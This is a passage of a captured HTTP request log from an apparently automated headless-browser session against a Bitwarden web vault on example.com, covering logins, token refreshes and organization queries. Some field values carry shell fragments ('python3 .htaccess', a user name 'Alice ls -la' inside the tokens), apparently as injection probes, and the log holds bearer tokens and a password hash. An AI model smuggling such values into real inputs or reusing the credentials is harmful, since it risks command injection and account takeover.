"Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"python3 .htaccess team\",\"businessName\":\"\",\"billingEmail\":\"billing@example.com\",\"additionalSeats\":0,\"maxAutoscaleSeats\":0,\"additionalStorageGb\":0,\"premiumAccessAddon\":false,\"taxIdNumber\":\"\",\"billingAddressLine1\":\"\",\"billingAddressLine2\":\"\",\"billingAddressCity\":\"\",\"billingAddressState\":\"\",\"billingAddressPostalCode\":\"\",\"billingAddressCountry\":\"\",\"useSecretsManager\":false,\"additionalSmSeats\":0,\"additionalServiceAccounts\":0,\"isFromSecretsManagerTrial\":false,\"key\":\"4.WiaDWzBtYEGmiO4qG6dAi2uybE/1GPnlvKP7fnaRGZ3OkBV5nOyCGCicd+Vi65nKIDuOo3zugIZVXin7/PCfaOPtsJ61WZIago9uhS5gQ1/VTyfzS9DLK1rRhSMAs04Vn5iEp8Kg0H/yEI/ysgLVc59MSCRkyFnygeo9G4Kmk38ezUrPUoxLIET/cu36Ok/iWNu1gvv8QV33Z/5FbTNvOhsKxk5rONKbNcQ2g02wNb0jsfZs3B6d3SkF8+OQYgD3ZkZpQgLNqu1q2ekkvrV+MWYBY5N3FPv/wC27xdJ1JwLc2YN+Nb4iaKp9IEUvKFcrDgAWpwx2g4vqnvZvW6SKLg==\",\"keys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqR0hC2iYM571ZOUF35kjHF5Zdjv8Bwy/lxuvFKIWsroMDmKgvM1Zt3l2r0l95m6nlvavFysgQH4PxCgJDjFUeJHpcmS5PyGIZzRNklJZxZLSMQ6pIooDJDsZqXlyn3ymdCldPYAdCG2bDhGXbIdESP21MZr2rpLW5iyMFABErHz1sKBACQNs19pQKLKUqRu2fSf3vaS8NFCNu4t8NO8LAnYeIxes/TfBpvme55r1r0v7qLDYNSTo9nM+nzhOGTCHKaIe7Ml6eHHR/EZw2Fe7KFTAbDSeICZGDmcljB4Y3bNfBikIEKaXNl5CXPJH90fyRjjJF3UhXVRjD+cCkcFKCwIDAQAB\",\"encryptedPrivateKey\":\"2.rcwVLVJP5XmHqB4kwDRQEA==|MtlJJSTQn95c40N7kj1+QzX/FE72Me4GHMOpYwUD1nY8o0+QOTFBmFZaOlP28amA8GNrc2Qrco8JmZ/HpiYccP3abaljQ5vOakk1Bdj47q+h5/HdqOCBEV6j1dKPO6zZKqHkEJfSXo8amTWGuQ8ifG0+JlkNYtq5IiBE8+0hcrz30PwQo20JA75R2MFKDuohpokOBIB7wHVIeSMjb0MjZ0QXKw3KyKG5qYyn0ZrQA4D9WfPvIfHj+oo3PQwgwjY5aRVBCkcYj2cDYpSifpA0xJYnTbaQ0xwmn4P0HadkgbtL4azxu/J15ff5NTgcG0gzwpp5x7t87+R2a8hAzfBB1dyOyReqa0HpfFJUd7DViy/0vQl6KcPvMEoTCh8f1BAjWaNSwSnI4Oq01IwIwCtlqAU+yzJniri/eZYvD26THbBG8DPMrgWl+I9mv151s3RZWNSwhP0K9DE3dihNFupV7KoXT1ajbFj9Q46KhnDHA2cTFQXmhU0GUYtbfCXy2NoDq4YHVeSz56ADJFJjyM6XNIz3hbVeXjQrMhTOgsXhKMNHlRti4LP+a9+W5SPLCubJq2emE/CEMWqC8PviH0drSSYv8X6hgKEBRFluWV9SmzxCflbBpCWRsbT5gfsjTHgn0Hmo0QHd4hHysCawN1GRoXadqYgc4xm3LHHPkw6shzQBVFBn66t1M2hzkDVXljBuid8TxF0pB1Dyp+bnX49vv8pJthdWCRjVABe/EyOF7b4Q2Itt9vO6fSl2KacsJHegN8CStyu17Ta9qKRZbOJAR7CLaOeHuAAEaxw8FGlAIbhCCYsSr9QpsJkZUpaqKBNkkXSplIR/6mQc0yGC1LEIJuCaPsU5DEIceyra2FcVxR9a7vtYt8gIhQxN04W/TP/zLHzRWweOpf8mJMG+2+vbjPmE9taOAlIvN6uA9eCBi9lwhOoGNo+0G+etKOcd3CqfYHduCev0MH9u4esx7RmzZhCs1lmksLrXyLSDrANqVAQmIvfOSN7DQdNPL09pSAaplERIBKuhO9a8j9xFZw0suvsjfNxwhyieZ2y0/fhS2gafmB761xw4wzCnuO7yj2nbkQtJd/P0HUptqcSpXEvd9UnJ3sfFHAu2ba9Lr9q0XTzzgsnmoUQgAgkrATOol5oZKX6u33HhTIUVHHs0V8gazT1COmblM2b8kar0Hv8N8jt9iZxBv9E/P0MlUq0ubY50EZ0eXmXvQbuvsfj7/wACUi8PAb3rOtxvx7YiWdpYDkiE67ZgSuKzuFR6T3CusWks9PYCahpHK/6IzjlxD9LfatcUwzo/u2dFJ2c/j/p7k1Q9YHW2UlOPj9TiBVxZeq8D10rFnaCrUs3Qmx9fq1QxKk8pejxP8OVW4ajZ5UQJwdHLqO0UfHZ29N7QEXgNovajqlDwIhO4FEa3UW29vCRN9z9pykRh1b8NnfP+Mv5rpHC9J7pUQ08myjIc+8Lt90KBwnd4oLma6SFfZAX0wYNQHGiXCG8MHD0Qnh/UARJ3ReZnVAXxnuumQbZEYA+ByWjFR7GzTYn1OvcNx+Vo4rKXBk4uj3lTxsFAmhTFwGpBbXYX0/8M7ADTM639coIhR3L1mqXT8saBRYU/tq/rPreZLvilJciF00vQXZWUDLZujK4=|sLOYshW+CIQctHp7sTiL/hojcWMgoOg97a4CPewOhdI=\"},\"collectionName\":\"2.KEZRLg9IaGzmiSG1GOV7Ag==|/kueCAS2suT20oQ3Aj1o/Z+G6ak/0xDcAXMN/JI+s2U=|5yvg76dyL9BfzROgnRsZP5PoUEB55HtfJFR/9J2X9AI=\",\"paymentToken\":\"\",\"initiationPath\":\"New organizLine truncated
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1NTgsImV4cCI6MTc5Njg3MzU1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.DWMQ-E5aTL8ztjaL2bCYPEqdUICGOG7mlXIEDFDXMIxDA3UeaB5oGLCoBGgkC7AMok-vjzuggt6DYD5wU8LTxJFuEQ8fAQaYzfVE3ZFwX0_zgIi__L3VZoWd0z8zmhz6yYm4yr8kUh4kqCoLUbtWI4M1BS8eYNk8WdvxN2_7DkaJDy8LRoY61AtvnsY2JCT2IEyFDt7FvgbD2RtYWp7Dgv5OqpFVRN3pjST_4cQmViIqEh_mtWGlnhHzGKjNktXqxCIeIKs4CdIu0L4Vai3O7dT3kBaksQOtIVPjsXhe8LK-GvX-ZZ2AjilqHmJmXz3Lg6hCzQ4qSvcqM5CxsTNdQw"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5Njg3MzU4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiUzlSSjNnZ2lpWHZiSXQxN2RwNjVrQ3Q4Y3BIcU8yY0ZzWlI5eXU1MWp5am5KZE0yNWh4V2c4b1RoSXhpaTIwRWlEVHI1bzBxSzJSZnB0b0Y0ZWZ6M1E9PSIsInRva2VuIjpudWxsfQ.dQiSrnpSFAnETzr8grySj54sGq0Xq1GItIEiYvfnwFY9VV3Qtp2lO5tSPguJ8AltKrHsWFmytWYCSWpiGZ6bWj9zO4ECiYbpszf3kAUPED3q6b3VDoxrEfTo89bvlPlmFtm6dDvsrOmP4pwrzJDHN43s78utwjqZ6IVcTrMw_zoywpRrdp8_1eNEyiFu-qef2ERoPVodqar6aBMpqukhT131orQurM6-0qP03SG42bIBytvhQlPnlftY7eHkX_zWAciEcnqx5ZAEz43rx5QFOMPQQRlFoIrBUoAy3O_PKxX99-WpUzCmef1MRV-yjkxPfMhkBeFOOwj8CEHlGvMqFA"}
{"method": "GET", "target": "/397.140f77b7f5a3e6236b43.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/ciphers/organization-details?organizationId=eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE1ODYsImV4cCI6MTc5NDI4ODc4NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImU0NDIwN2I5LWQ4MzktNDA4OC05MzI1LTFmOGIxODRmNTc4YSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.skpRY0JCgDTJ4aG_wke4Xg_sG9GpkZlknXcFoyVK08Br3bwXVElxgmsLf4v775MudNL3Y4gryu3reaWDH1K_0xjXbY3ZQi-O2VK7EQPYRuXaOjJkvcwnXDY2E1XT5VoISnvmIn3L2saSqJCBsMjlV2mDIktcUV2N7iPvpjBD0QMn-uI44QHHO5lQFP6wSN5iWv0ulQmg0td_iMtH_jOIOHi4BoCJaiFoJupbzsg-cqsHU8f19c4lNpEPr7HN5clNOswvjoxpM7c409rZcapnALjNVOTW7tJR5tAi4xjPZ9i5bmGmJUNK97l86hG3FlgJTwEFT3KNPGcrED87etVW-A", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=2b161375-7f4f-461c-945a-2f2e89155df9&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/501.424a4093223bb151e00e.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/users?includeCollections=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/collections", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/billing/vnext/self-host/metadata", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE2MDYsImV4cCI6MTc5NDI4ODgwNiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjJiMTYxMzc1LTdmNGYtNDYxYy05NDVhLTJmMmU4OTE1NWRmOSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.MejsTM_9hNAcfdnGJ6nMpYAqTSSn4J8w02aDWBkts32ikd8fn7c_P4mwbuwX68n7-MG7CpMyM7NifrLzTyIeZPAwr0MNRNxmPqERIHeANCt-mCwu6sdhk-fgWnkNbS89t72NC8e0cUEWhMv34Ter7u3sE7iqUdNGA67X3f9AyUsA_MSLVi22zbWQZ2-VwFYLmQ4hdUstUqVUc-ehsMF4GGYkyMnP2ZAIOUfq1t7PfUKGlsa1XDyLbke104zaR_EAFhKt1tkG2F5PEkLkpM5aoxlXA224VjQWWzbzIYwwC0zNoBoI4Xq3UrQRuyFMWKb1oA6zOCDpQ0OZWaNp760JgQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=62b4b472-0481-4d9e-9098-e04ed384c06f&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
